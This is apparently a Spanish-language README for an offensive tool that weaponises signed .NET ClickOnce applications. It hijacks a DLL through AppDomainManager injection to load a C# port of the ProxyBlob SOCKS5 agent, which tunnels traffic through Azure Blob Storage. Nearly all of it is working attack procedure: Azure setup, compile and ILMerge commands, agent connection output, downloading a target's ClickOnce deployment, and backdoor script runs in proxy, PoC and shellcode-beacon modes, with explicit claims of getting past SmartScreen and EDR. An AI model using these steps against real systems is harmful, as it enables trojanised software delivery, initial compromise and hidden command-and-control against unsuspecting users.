
Armar aplicaciones .NET ClickOnce firmadas para acceso inicial mediante el secuestro de una DLL dependiente a través de inyección de AppDomainManager y carga de un puerto en C# del agente ProxyBlob.

Armar aplicaciones .NET ClickOnce firmadas para acceso inicial mediante el secuestro de una DLL dependiente a través de inyección AppDomainManager y la carga de un puerto C# del Agente ProxyBlob. Incluye un puerto C# de ProxyBlob — un proxy SOCKS5 que tuneliza todo el tráfico a través de Azure Blob Storage, integrándose en entornos donde *.blob.core.windows.net está en la lista blanca.
ClickOnce es la tecnología de implementación con un clic de Microsoft para aplicaciones .NET. Cuando un usuario hace clic en una URL .application, Windows descarga y ejecuta la aplicación sin requerir privilegios de administrador. El ataque:
.exe.config que le indique al CLR que cargue nuestra DLL como AppDomainManagerEl .exe anfitrión permanece intacto y firmado válidamente. SmartScreen ve un binario conocido. EDR ve un proceso confiable cargando módulos. Tu agente se comunica solo con Azure Blob Storage a través de HTTPS.
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
└── README.md
Atacante (Linux/macOS):
Máquina de compilación (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (detección automática)nuget.exe junto al script o agregar al PATH (solo necesario para el modo --proxyblob)El script detecta automáticamente csc.exe y nuget.exe. Para --proxyblob, BouncyCastle e ILMerge se instalan automáticamente mediante NuGet en la primera ejecución en un directorio packages/ junto al script (persiste entre ejecuciones).
El código del agente es independiente de la arquitectura (sin P/Invoke, sin shellcode). El indicador --platform (pasado a csc.exe /platform:) controla cómo el CLR lo carga:
--platform | Se ejecuta en Windows x86 | Se ejecuta en Windows x64 | Cuándo usarlo |
|---|---|---|---|
x86 (predeterminado) | 32 bits | 32 bits (WoW64) | La aplicación objetivo es x86 |
x64 | ✗ | 64 bits | La aplicación objetivo es x64 |
anycpu | 32 bits | 64 bits | Pruebas independientes, o el objetivo es AnyCPU |
Verifica la aplicación objetivo con corflags.exe TargetApp.exe para determinar su plataforma.
# Create storage account
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Get keys
az storage account keys list --account-name yourblobaccount --output table
O usa Azurite localmente:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
En el shell del proxy:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Guarda esa cadena de conexión — va en el agente.
Siempre verifica que el agente funcione de forma independiente antes de la integración con ClickOnce.
En la máquina de compilación Windows:
# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Run
Agent.exe <connection-string>
De vuelta en el proxy:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
Prueba:
proxychains curl http://ipconfig.io
Si esto funciona, procede con la integración ClickOnce.
Encuentra una aplicación ClickOnce objetivo durante el reconocimiento (busca URLs .application). Necesitas:
Descarga toda la implementación ClickOnce:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

El script compila automáticamente el código fuente C#, maneja las dependencias de NuGet (para --proxyblob), combina BouncyCastle en la DLL con ILMerge, y parchea todos los manifiestos — todo en una sola ejecución:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode mode
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 target app
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output
